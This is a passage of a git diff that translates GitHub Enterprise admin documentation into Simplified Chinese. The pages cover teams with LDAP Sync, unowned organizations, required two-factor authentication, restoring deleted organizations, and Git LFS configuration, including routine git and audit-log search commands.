organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." +团队是 {% data variables.product.prodname_dotcom %} 的许多协作功能的核心,例如团队 @mentions,用于通知相关方你希望请求他们的意见或关注。 有关详细信息,请参阅“[组织中的角色](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)。” -A team can represent a group within your company or include people with certain interests or expertise. For example, a team of accessibility experts on {% data variables.location.product_location %} could comprise of people from several different departments. Teams can represent functional concerns that complement a company's existing divisional hierarchy. +一个团队可以代表您的公司内的一个组,或者包含具有特定兴趣或专业知识的人。 例如,{% data variables.product.product_location %} 上的可访问性专家团队可能包括来自多个不同部门的人。 团队可以体现职能关注,对公司现有的部门层次结构进行补充。 -Organizations can create multiple levels of nested teams to reflect a company or group's hierarchy structure. For more information, see "[About teams](/enterprise/user/articles/about-teams/#nested-teams)." +组织可以创建包含多个级别的嵌套团队来反映公司或小组的层级结构。 有关详细信息,请参阅“[关于团队](/enterprise/user/articles/about-teams/#nested-teams)”。 -## Creating a team +## 创建团队 -A prudent combination of teams is a powerful way to control repository access. For example, if your organization allows only your release engineering team to push code to the default branch of any repository, you could give only the release engineering team **admin** permissions to your organization's repositories and give all other teams **read** permissions. +审慎的团队组合是控制仓库权限的强有力方式。 例如,如果组织只允许发布工程团队将代码推送到任何存储库的默认分支,则你可以只授予发布工程团队对组织的存储库的管理员权限,并授予所有其他团队读取权限 。 -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.new_team %} -{% data reusables.organizations.team_name %} -{% data reusables.organizations.team_description %} -{% data reusables.organizations.team_visibility %} -{% data reusables.organizations.create-team-choose-parent %} -{% data reusables.organizations.create_team %} +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.new_team %} {% data reusables.organizations.team_name %} {% data reusables.organizations.team_description %} {% data reusables.organizations.team_visibility %} {% data reusables.organizations.create-team-choose-parent %} {% data reusables.organizations.create_team %} {% ifversion ghes %} -## Creating teams with LDAP Sync enabled +## 创建启用 LDAP 同步的团队 -Instances using LDAP for user authentication can use LDAP Sync to manage a team's members. Setting the group's **Distinguished Name** (DN) in the **LDAP group** field will map a team to an LDAP group on your LDAP server. If you use LDAP Sync to manage a team's members, you won't be able to manage your team within {% data variables.location.product_location %}. The mapped team will sync its members in the background and periodically at the interval configured when LDAP Sync is enabled. For more information, see "[Enabling LDAP Sync](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync)." +使用 LDAP 进行用户身份验证的实例可以使用 LDAP 同步管理团队的成员。 在“LDAP 组”字段中设置组的可分辨名称 (DN) 会将团队映射到 LDAP 服务器上的 LDAP 组 。 如果使用 LDAP 同步来管理团队成员,则无法在 {% data variables.product.product_location %} 内管理团队。 启用 LDAP 同步后,映射的团队将以配置的间隔定期在后台同步成员。 有关详细信息,请参阅“[启用 LDAP 同步](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync)。” -You must be a site admin and an organization owner to create a team with LDAP sync enabled. +您必须是站点管理员和组织所有者才能创建启用了 LDAP 同步的团队。 {% data reusables.enterprise_user_management.ldap-sync-nested-teams %} {% warning %} -**Notes:** -- LDAP Sync only manages the team's member list. You must manage the team's repositories and permissions from within {% data variables.product.prodname_ghe_server %}. -- If an LDAP group mapping to a DN is removed, such as if the LDAP group is deleted, then every member is removed from the synced {% data variables.product.prodname_ghe_server %} team. To fix this, map the team to a new DN, add the team members back, and [manually sync the mapping](/enterprise/admin/authentication/using-ldap#manually-syncing-ldap-accounts). -- When LDAP Sync is enabled, if a person is removed from a repository, they will lose access but their forks will not be deleted. If the person is added to a team with access to the original organization repository within three months, their access to the forks will be automatically restored on the next sync. +**注意:** +- LDAP 同步仅管理团队的成员列表。 您必须在 {% data variables.product.prodname_ghe_server %} 内管理团队的仓库和权限。 +- 如果到 DN 的 LDAP 组映射被移除(例如,LDAP 组被删除),将从同步的 {% data variables.product.prodname_ghe_server %} 团队中移除每个成员。 若要解决此问题,请将团队映射到新的 DN,重新添加团队成员,然后[手动同步映射](/enterprise/admin/authentication/using-ldap#manually-syncing-ldap-accounts)。 +- 启用 LDAP 同步后,如果某个用户被从仓库中移除,他们将失去访问权限,但是他们的分叉将不会删除。 如果某个用户被添加到团队中并在三个月内拥有原始组织仓库的访问权限,他们对分叉的访问权限将在下一次同步时自动恢复。 {% endwarning %} -1. Ensure that [LDAP Sync is enabled](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync). -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.new_team %} -{% data reusables.organizations.team_name %} -6. Search for an LDAP group's DN to map the team to. If you don't know the DN, type the LDAP group's name. {% data variables.product.prodname_ghe_server %} will search for and autocomplete any matches. -![Mapping to the LDAP group DN](/assets/images/enterprise/orgs-and-teams/ldap-group-mapping.png) -{% data reusables.organizations.team_description %} -{% data reusables.organizations.team_visibility %} -{% data reusables.organizations.create-team-choose-parent %} -{% data reusables.organizations.create_team %} +1. 确保[已启用 LDAP 同步](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync)。 +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.new_team %} {% data reusables.organizations.team_name %} +6. 搜索要映射团队的目标 LDAP 组的 DN。 如果您不知道 DN,请输入 LDAP 组的名称。 {% data variables.product.prodname_ghe_server %} 将搜索并自动完成任何匹配。 +![映射到 LDAP 组 DN](/assets/images/enterprise/orgs-and-teams/ldap-group-mapping.png) {% data reusables.organizations.team_description %} {% data reusables.organizations.team_visibility %} {% data reusables.organizations.create-team-choose-parent %} {% data reusables.organizations.create_team %} {% endif %} diff --git a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md new file mode 100644 index 0000000000..73ffe9e2bd --- /dev/null +++ b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md @@ -0,0 +1,30 @@ +--- +title: 管理企业中没有所有者的组织 +intro: 您可以成为企业帐户中目前没有所有者的组织的所有者。 +permissions: Enterprise owners can manage unowned organizations in an enterprise account. +redirect_from: +- /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/managing-unowned-organizations-in-your-enterprise-account +- /github/setting-up-and-managing-your-enterprise-account/managing-unowned-organizations-in-your-enterprise-account +- /github/setting-up-and-managing-your-enterprise/managing-unowned-organizations-in-your-enterprise-account +versions: + ghec: '*' +type: how_to +topics: +- Administrator +- Enterprise +- Organizations +shortTitle: Manage unowned organizations +ms.openlocfilehash: 34b227e74a04ecd91716cbf7911fb1c09ffeefea +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145098968" +--- +{% data reusables.enterprise-accounts.access-enterprise %} +2. 在搜索字段右侧,单击“X 未拥有”。 + ![用于查看未拥有的组织的按钮](/assets/images/help/business-accounts/unowned-organizations-button.png) +3. 在想要承担其所有权的组织右侧,单击“成为所有者”。 + ![“成为所有者”按钮](/assets/images/help/business-accounts/become-an-owner-button.png) +4. 阅读警告,然后单击“成为所有者”。 + ![“成为所有者”按钮](/assets/images/help/business-accounts/become-an-owner-confirmation.png) diff --git a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization.md b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization.md index 103d51e4a9..15b58756ca 100644 --- a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization.md +++ b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization.md @@ -1,6 +1,6 @@ --- -title: Requiring two-factor authentication for an organization -intro: 'You can require organization members and outside collaborators to enable two-factor authentication for their personal accounts in an organization, making it harder for malicious actors to access an organization''s repositories and settings.' +title: 为组织要求双重身份验证 +intro: 您可以要求组织成员和外部协作者为他们在组织中的个人帐户启用双重身份验证,使恶意操作者更难以访问组织的仓库和设置。 redirect_from: - /enterprise/admin/user-management/requiring-two-factor-authentication-for-an-organization - /admin/user-management/requiring-two-factor-authentication-for-an-organization @@ -14,59 +14,58 @@ topics: - Policies - Security shortTitle: Require 2FA +ms.openlocfilehash: 2f7fe986cf3b13a171f85da9d5fdb74eeed0d648 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '146331638' --- -When using LDAP or built-in authentication, two-factor authentication is supported on {% data variables.location.product_location %}. Organization administrators can require members to have two-factor authentication enabled. +使用 LDAP 或内置身份验证时,{% data variables.product.product_location %} 将支持双重身份验证。 组织管理员可以要求成员启用双重身份验证。 {% data reusables.enterprise_user_management.external_auth_disables_2fa %} -For more information, see "[About two-factor authentication](/github/authenticating-to-github/about-two-factor-authentication)." +有关详细信息,请参阅“[关于双重身份验证](/github/authenticating-to-github/about-two-factor-authentication)”。 -## Requirements for enforcing two-factor authentication +## 强制执行双重身份验证的要求 -Before you can require organization members and outside collaborators to use 2FA, you must [enable two-factor authentication](/enterprise/user/articles/securing-your-account-with-two-factor-authentication-2fa/) for your own personal account. +在你要求组织成员和外部协作者使用 2FA 之前,必须为自己的个人帐户[启用双重身份验证](/enterprise/user/articles/securing-your-account-with-two-factor-authentication-2fa/)。 {% warning %} -**Warnings:** +警告: -- When your require two-factor authentication, members and outside collaborators (including bot accounts) who do not use 2FA will be removed from the organization and lose access to its repositories, including their forks of private repositories. If they enable 2FA for their personal account within three months of being removed from the organization, you can [reinstate their access privileges and settings](/enterprise/user/articles/reinstating-a-former-member-of-your-organization). -- When 2FA is required, organization members or outside collaborators who disable 2FA will automatically be removed from the organization. -- If you're the sole owner of an organization that requires two-factor authentication, you won't be able to disable 2FA for your personal account without disabling required two-factor authentication for the organization. +- 如果您要求双重身份验证,则不使用双重身份验证的成员和外部协作者(包括自动程序帐户)将从组织中移除,并失去对仓库的访问权限,包括他们的私有仓库分叉。 如果用户在被从组织中移除的三个月内为自己的个人帐户启用 2FA,你可以[恢复他们的访问权限和设置](/enterprise/user/articles/reinstating-a-former-member-of-your-organization)。 +- 如果需要双重身份验证,则禁用双重身份验证的组织成员或外部协作者将被自动从组织中移除。 +- 如果您是某个要求双重身份验证的组织的唯一所有者,则在不为组织禁用双重身份验证要求的情况下,您将无法为个人帐户禁用双重身份验证。 {% endwarning %} -Before you require use of two-factor authentication, we recommend notifying organization members and outside collaborators and asking them to set up 2FA for their accounts. You can [see if members and outside collaborators already use 2FA](/enterprise/user/articles/viewing-whether-users-in-your-organization-have-2fa-enabled) on an organization's People tab. +在您要求使用双重身份验证之前,我们建议通知组织成员和外部协作者,并要求他们为帐户设置双重身份验证。 可以在组织的“人员”选项卡上[查看成员和外部协作者是否已使用 2FA](/enterprise/user/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)。 -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -{% data reusables.organizations.require_two_factor_authentication %} -{% data reusables.organizations.removed_outside_collaborators %} +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.security %} {% data reusables.organizations.require_two_factor_authentication %} {% data reusables.organizations.removed_outside_collaborators %} -## Viewing people who were removed from your organization +## 查看从您的组织中删除的人员 -To view people who were automatically removed from your organization for non-compliance when you required two-factor authentication, you can [search the audit log](/enterprise/admin/guides/installation/searching-the-audit-log/) using `reason:two_factor_requirement_non_compliance` in the search field. +若要查看在你要求双重身份验证后因为不合规而被从组织中自动移除的用户,可以在搜索字段中使用 `reason:two_factor_requirement_non_compliance` [搜索审核日志](/enterprise/admin/guides/installation/searching-the-audit-log/)。 -{% data reusables.audit_log.octicon_icon %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.audit_log.audit_log_sidebar_for_site_admins %} -4. Enter your search query using `reason:two_factor_requirement_non_compliance`. - ![Staff tools audit log event showing a user removed for 2FA non-compliance](/assets/images/help/2fa/2fa_noncompliance_stafftools_audit_log_search.png) - To narrow your search for: - - Organizations members removed, enter `action:org.remove_member AND reason:two_factor_requirement_non_compliance` - - Outside collaborators removed, enter `action:org.remove_outside_collaborator AND reason:two_factor_requirement_non_compliance` +{% data reusables.audit_log.octicon_icon %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.audit_log.audit_log_sidebar_for_site_admins %} +4. 使用 `reason:two_factor_requirement_non_compliance` 输入搜索查询。 + ![显示因 2FA 不合规而被移除的用户的员工工具审核日志事件](/assets/images/help/2fa/2fa_noncompliance_stafftools_audit_log_search.png) 请执行相应地操作,缩小以下对象的搜索范围: + - 对于已删除的组织成员,请输入 `action:org.remove_member AND reason:two_factor_requirement_non_compliance` + - 对于已删除的外部协作者,请输入 `action:org.remove_outside_collaborator AND reason:two_factor_requirement_non_compliance` - You can also view people removed from a particular organization by using the organization name in your search: + 您还可以在搜索中使用组织名称,查看已从特定组织中移除的用户: - `org:octo-org AND reason:two_factor_requirement_non_compliance` -5. Click **Search**. +5. 单击 **“搜索”** 。 -## Helping removed members and outside collaborators rejoin your organization +## 帮助被删除的成员和外部协作者重新加入您的组织 -If any members or outside collaborators are removed from the organization when you enable required use of two-factor authentication, they'll receive an email notifying them that they've been removed. They should then enable 2FA for their personal account, and contact an organization owner to request access to your organization. +如果在您启用双重身份验证使用要求时有任何成员或外部协作者被从组织中删除,他们将收到通知他们已被删除的电子邮件。 他们应当为个人帐户启用双重身份验证,并联系组织所有者来请求您的组织的访问权限。 -## Further reading +## 延伸阅读 -- "[Viewing whether users in your organization have 2FA enabled](/enterprise/user/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)" -- "[Securing your account with two-factor authentication (2FA)](/enterprise/user/articles/securing-your-account-with-two-factor-authentication-2fa)" -- "[Reinstating a former member of your organization](/enterprise/user/articles/reinstating-a-former-member-of-your-organization)" -- "[Reinstating a former outside collaborator's access to your organization](/enterprise/user/articles/reinstating-a-former-outside-collaborator-s-access-to-your-organization)" +- [查看组织中的用户是否已启用 2FA](/enterprise/user/articles/viewing-whether-users-in-your-organization-have-2fa-enabled) +- [使用双因素身份验证 (2FA) 保护你的帐户](/enterprise/user/articles/securing-your-account-with-two-factor-authentication-2fa) +- [恢复组织的前成员](/enterprise/user/articles/reinstating-a-former-member-of-your-organization) +- [恢复前外部协作者对组织的访问权限](/enterprise/user/articles/reinstating-a-former-outside-collaborator-s-access-to-your-organization) diff --git a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization.md b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization.md index d30c176041..3f379f047c 100644 --- a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization.md +++ b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization.md @@ -1,6 +1,6 @@ --- -title: Restoring a deleted organization -intro: 'You can partially restore an organization that was previously deleted on {% data variables.location.product_location %}.' +title: 还原已删除的组织 +intro: '可以部分还原以前在 {% data variables.product.product_location %} 上删除的组织。' versions: ghes: '*' type: how_to @@ -10,44 +10,49 @@ topics: - Organizations shortTitle: Restore organization permissions: 'Site administers can restore an organization on {% data variables.product.product_name %}.' +ms.openlocfilehash: 1963b1e55a9c8047c19bafd087162caa8d5085f2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147063752' --- +## 关于组织还原 -## About organization restoration +只要审核日志 Elasticsearch 索引包含 `org.delete` 事件的数据,你就可以使用站点管理仪表板还原之前在 {% data variables.product.product_location %} 上删除的组织。 -You can use the site admin dashboard to restore an organization that was previously deleted on {% data variables.location.product_location %}, as long as the audit log Elasticsearch indices contain the data for the `org.delete` event. +还原组织后,该组织将不会与删除前完全相同。 必须手动还原组织拥有的所有存储库。 有关详细信息,请参阅“[还原已删除的存储库](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)”。 -Immediately after you restore an organization, the organization will not be exactly the same as it was prior to the deletion. You'll have to manually restore any repositories that were owned by the organization. For more information, see "[Restoring a deleted repository](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)." +你也可以使用审核日志来帮助手动重新添加团队和组织成员。 有关详细信息,请参阅“[还原成员和团队](#restoring-members-and-teams)”。 -You can also use the audit log to help you manually re-add teams and organization members. For more information, see "[Restoring members and teams](#restoring-members-and-teams)." - -## Restoring an organization +## 还原组织 {% data reusables.enterprise_site_admin_settings.access-settings %} -1. Under "Search users, organizations, enterprises, teams, repositories, gists, and applications", search for the organization. +1. 在“搜索用户、组织、企业、团队、存储库、Gist 和应用程序”下,搜索组织。 - ![Screenshot of the search field and Search button](/assets/images/enterprise/stafftools/search-field.png) + ![搜索字段和“搜索”按钮的屏幕截图](/assets/images/enterprise/stafftools/search-field.png) -1. Under "Deleted accounts", to the right of the organization you want to restore, select the {% octicon "kebab-horizontal" aria-label="The edit icon" %} dropdown menu, then click **Recreate**. +1. 在“已删除的帐户”下,在要还原的组织右侧,选择“{% octicon "kebab-horizontal" aria-label="The edit icon" %}”下拉菜单,然后单击“重新创建”。 - ![Screenshot of the dropdown menu for a deleted organization](/assets/images/enterprise/stafftools/recreate-organization.png) + ![已删除组织的下拉菜单屏幕截图](/assets/images/enterprise/stafftools/recreate-organization.png) -## Restoring members and teams +## 还原成员和团队 -You can use the audit log to find a list of the previous members and teams of the organization, then recreate them manually. For more information about using the audit log, see "[Auditing users across your enterprise](/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise)." +可以使用审核日志查找组织以前的成员和团队的列表,然后手动进行重新创建。 有关使用审核日志的详细信息,请参阅“[审核整个企业的用户](/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise)”。 -In all the search phrases below, replace ORGANIZATION with the name of the organization and TEAM with the name of the team. +在下面的所有搜索词组中,将 ORGANIZATION 替换为组织名称,将 TEAM 替换为团队名称。 -### Restoring organization members +### 还原组织成员 -1. To find all users who were added to and removed from the organization, search the audit log for `action:org.add_member org:ORGANIZATION` and `action:org.remove_member org:ORGANIZATION`. -1. Manually add to the organization each user that should still be a member. For more information, see "[Adding people to your organization](/organizations/managing-membership-in-your-organization/adding-people-to-your-organization)." +1. 要查找在组织中添加和删除的所有用户,请在审核日志中搜索 `action:org.add_member org:ORGANIZATION` 和 `action:org.remove_member org:ORGANIZATION`。 +1. 手动将每个仍应是成员的用户添加到组织中。 有关详细信息,请参阅“[将人员添加到组织](/organizations/managing-membership-in-your-organization/adding-people-to-your-organization)”。 -### Restoring teams +### 还原团队 -1. To find each team name, search the audit log for `action:team.create org:ORGANIZATION`. -1. Manually recreate the team. For more information, see "[Creating a team](/organizations/organizing-members-into-teams/creating-a-team)." -1. To find the members that have been added to each team, search for `action:team.add_member team:"ORGANIZATION/TEAM"`. -1. Manually re-add the team members. For more information, see "[Adding organization members to a team](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team)." -1. To find the repositories that the team was granted access to, search for `action:team.add_repository team:"ORGANIZATION/TEAM"`. -1. To find the access level that the team was granted for each repository, search for `action:team.update_repository_permission team:"ORGANIZATION/TEAM"`. -1. Manually give the team access again. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)." +1. 要查找每个团队名称,请在审核日志中搜索 `action:team.create org:ORGANIZATION`。 +1. 手动重新创建团队。 有关详细信息,请参阅“[创建团队](/organizations/organizing-members-into-teams/creating-a-team)”。 +1. 要查找已添加到每个团队的成员,请搜索 `action:team.add_member team:"ORGANIZATION/TEAM"`。 +1. 手动重新添加团队成员。 有关详细信息,请参阅“[将组织成员添加到团队](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team)”。 +1. 要查找团队有权访问的存储库,请搜索 `action:team.add_repository team:"ORGANIZATION/TEAM"`。 +1. 要查找团队被授予对每个存储库的访问级别,请搜索 `action:team.update_repository_permission team:"ORGANIZATION/TEAM"`。 +1. 再次手动授予团队访问权限。 有关详细信息,请参阅“[管理团队对组织存储库的访问](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)”。 diff --git a/translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md b/translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md index c8f5a68291..2dcbff760a 100644 --- a/translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md @@ -1,5 +1,5 @@ --- -title: Configuring Git Large File Storage for your enterprise +title: 为企业配置 Git 大型文件存储 intro: '{% data reusables.enterprise_site_admin_settings.configuring-large-file-storage-short-description %}' redirect_from: - /enterprise/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise @@ -23,105 +23,93 @@ topics: - LFS - Storage shortTitle: Configure Git LFS +ms.openlocfilehash: d6364bc1d45643ebb3dc1c46cec467515fd4da55 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145098674' --- -## About {% data variables.large_files.product_name_long %} +## 关于 {% data variables.large_files.product_name_long %} -{% data reusables.enterprise_site_admin_settings.configuring-large-file-storage-short-description %} You can use {% data variables.large_files.product_name_long %} with a single repository, all of your personal or organization repositories, or with every repository in your enterprise. Before you can enable {% data variables.large_files.product_name_short %} for specific repositories or organizations, you need to enable {% data variables.large_files.product_name_short %} for your enterprise. +{% data reusables.enterprise_site_admin_settings.configuring-large-file-storage-short-description %} 您可以将 {% data variables.large_files.product_name_long %} 与单一仓库、所有个人或组织仓库或企业中的每一个仓库结合使用。 您需要先为企业启用 {% data variables.large_files.product_name_short %},然后才能为特定仓库或组织启用 {% data variables.large_files.product_name_short %}。 -{% data reusables.large_files.storage_assets_location %} -{% data reusables.large_files.rejected_pushes %} +{% data reusables.large_files.storage_assets_location %} {% data reusables.large_files.rejected_pushes %} -For more information, see "[About {% data variables.large_files.product_name_long %}](/articles/about-git-large-file-storage)", "[Versioning large files](/enterprise/user/articles/versioning-large-files/)," and the [{% data variables.large_files.product_name_long %} project site](https://git-lfs.github.com/). +有关详细信息,请参阅“[关于 {% data variables.large_files.product_name_long %}](/articles/about-git-large-file-storage)”、“[大型文件的版本控制](/enterprise/user/articles/versioning-large-files/)”和 [{% data variables.large_files.product_name_long %} 项目站点](https://git-lfs.github.com/)。 {% data reusables.large_files.can-include-lfs-objects-archives %} -## Configuring {% data variables.large_files.product_name_long %} for your enterprise +## 为企业配置 {% data variables.large_files.product_name_long %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% ifversion ghes or ghae %} -{% data reusables.enterprise-accounts.policies-tab %} -{% else %} -{% data reusables.enterprise-accounts.settings-tab %} -{% endif %} -{% data reusables.enterprise-accounts.options-tab %} -4. Under "{% data variables.large_files.product_name_short %} access", use the drop-down menu, and click **Enabled** or **Disabled**. -![Git LFS Access](/assets/images/enterprise/site-admin-settings/git-lfs-admin-center.png) +{% data reusables.enterprise-accounts.access-enterprise %} {% ifversion ghes or ghae %} {% data reusables.enterprise-accounts.policies-tab %} {% else %} {% data reusables.enterprise-accounts.settings-tab %} {% endif %} {% data reusables.enterprise-accounts.options-tab %} +4. 在“{% data variables.large_files.product_name_short %} 访问”下,使用下拉菜单,然后单击“已启用”或“已禁用” 。 +![Git LFS 访问](/assets/images/enterprise/site-admin-settings/git-lfs-admin-center.png) -## Configuring {% data variables.large_files.product_name_long %} for an individual repository +## 为各个仓库配置 {% data variables.large_files.product_name_long %} {% data reusables.enterprise_site_admin_settings.override-policy %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.repository-search %} -{% data reusables.enterprise_site_admin_settings.click-repo %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -{% data reusables.enterprise_site_admin_settings.admin-tab %} -{% data reusables.enterprise_site_admin_settings.git-lfs-toggle %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.repository-search %} {% data reusables.enterprise_site_admin_settings.click-repo %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} {% data reusables.enterprise_site_admin_settings.git-lfs-toggle %} -## Configuring {% data variables.large_files.product_name_long %} for every repository owned by a user account or organization +## 为用户帐户或组织拥有的每个仓库配置 {% data variables.large_files.product_name_long %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.search-user-or-org %} -{% data reusables.enterprise_site_admin_settings.click-user-or-org %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -{% data reusables.enterprise_site_admin_settings.admin-tab %} -{% data reusables.enterprise_site_admin_settings.git-lfs-toggle %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user-or-org %} {% data reusables.enterprise_site_admin_settings.click-user-or-org %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} {% data reusables.enterprise_site_admin_settings.git-lfs-toggle %} {% ifversion ghes %} -## Configuring Git Large File Storage to use a third party server +## 将 Git Large File Storage 配置为使用第三方服务器 -{% data reusables.large_files.storage_assets_location %} -{% data reusables.large_files.rejected_pushes %} +{% data reusables.large_files.storage_assets_location %} {% data reusables.large_files.rejected_pushes %} -1. Disable {% data variables.large_files.product_name_short %} on {% data variables.location.product_location %}. For more information, see "[Configuring {% data variables.large_files.product_name_long %} for your enterprise](#configuring-git-large-file-storage-for-your-enterprise)." +1. 在 {% data variables.product.product_location %} 上禁用 {% data variables.large_files.product_name_short %}。 有关详细信息,请参阅“[为你的企业配置 {% data variables.large_files.product_name_long %}](#configuring-git-large-file-storage-for-your-enterprise)”。 -2. Create a {% data variables.large_files.product_name_short %} configuration file that points to the third party server. +2. 创建指向第三方服务器的 {% data variables.large_files.product_name_short %} 配置文件。 ```shell # Show default configuration $ git lfs env > git-lfs/1.1.0 (GitHub; darwin amd64; go 1.5.1; git 94d356c) > git version 2.7.4 (Apple Git-66)   - > Endpoint=https://GITHUB-ENTERPRISE-HOST/path/to/repo/info/lfs (auth=basic) + > Endpoint=https://GITHUB-ENTERPRISE-HOST/path/to/repo/info/lfs (auth=basic)   # Create .lfsconfig that points to third party server. - $ git config -f .lfsconfig remote.origin.lfsurl https://THIRD-PARTY-LFS-SERVER/path/to/repo + $ git config -f .lfsconfig remote.origin.lfsurl https://THIRD-PARTY-LFS-SERVER/path/to/repo $ git lfs env > git-lfs/1.1.0 (GitHub; darwin amd64; go 1.5.1; git 94d356c) > git version 2.7.4 (Apple Git-66)   - > Endpoint=https://THIRD-PARTY-LFS-SERVER/path/to/repo/info/lfs (auth=none) + > Endpoint=https://THIRD-PARTY-LFS-SERVER/path/to/repo/info/lfs (auth=none)   # Show the contents of .lfsconfig $ cat .lfsconfig [remote "origin"] - lfsurl = https://THIRD-PARTY-LFS-SERVER/path/to/repo + lfsurl = https://THIRD-PARTY-LFS-SERVER/path/to/repo ``` -3. To keep the same {% data variables.large_files.product_name_short %} configuration for each user, commit a custom `.lfsconfig` file to the repository. +3. 为使各用户的 {% data variables.large_files.product_name_short %} 配置相同,请向存储库提交自定义 `.lfsconfig` 文件。 ```shell $ git add .lfsconfig $ git commit -m "Adding LFS config file" ``` -3. Migrate any existing {% data variables.large_files.product_name_short %} assets. For more information, see "[Migrating to a different {% data variables.large_files.product_name_long %} server](#migrating-to-a-different-git-large-file-storage-server)." +3. 迁移任何现有的 {% data variables.large_files.product_name_short %} 资源。 有关详细信息,请参阅“[迁移到不同的 {% data variables.large_files.product_name_long %} 服务器](#migrating-to-a-different-git-large-file-storage-server)”。 -## Migrating to a different Git Large File Storage server +## 迁移到其他 Git Large File Storage 服务器 -Before migrating to a different {% data variables.large_files.product_name_long %} server, you must configure {% data variables.large_files.product_name_short %} to use a third party server. For more information, see "[Configuring {% data variables.large_files.product_name_long %} to use a third party server](#configuring-git-large-file-storage-to-use-a-third-party-server)." +迁移到其他 {% data variables.large_files.product_name_long %} 服务器之前,您必须将 {% data variables.large_files.product_name_short %} 配置为使用第三方服务器。 有关详细信息,请参阅“[配置 {% data variables.large_files.product_name_long %} 以使用第三方服务器](#configuring-git-large-file-storage-to-use-a-third-party-server)”。 -1. Configure the repository with a second remote. +1. 使用第二个远端配置仓库。 ```shell - $ git remote add NEW-REMOTE https://NEW-REMOTE-HOSTNAME/path/to/repo + $ git remote add NEW-REMOTE https://NEW-REMOTE-HOSTNAME/path/to/repo   $ git lfs env > git-lfs/1.1.0 (GitHub; darwin amd64; go 1.5.1; git 94d356c) > git version 2.7.4 (Apple Git-66)   - > Endpoint=https://GITHUB-ENTERPRISE-HOST/path/to/repo/info/lfs (auth=basic) - > Endpoint (NEW-REMOTE)=https://NEW-REMOTE-HOSTNAME/path/to/repo/info/lfs (auth=none) + > Endpoint=https://GITHUB-ENTERPRISE-HOST/path/to/repo/info/lfs 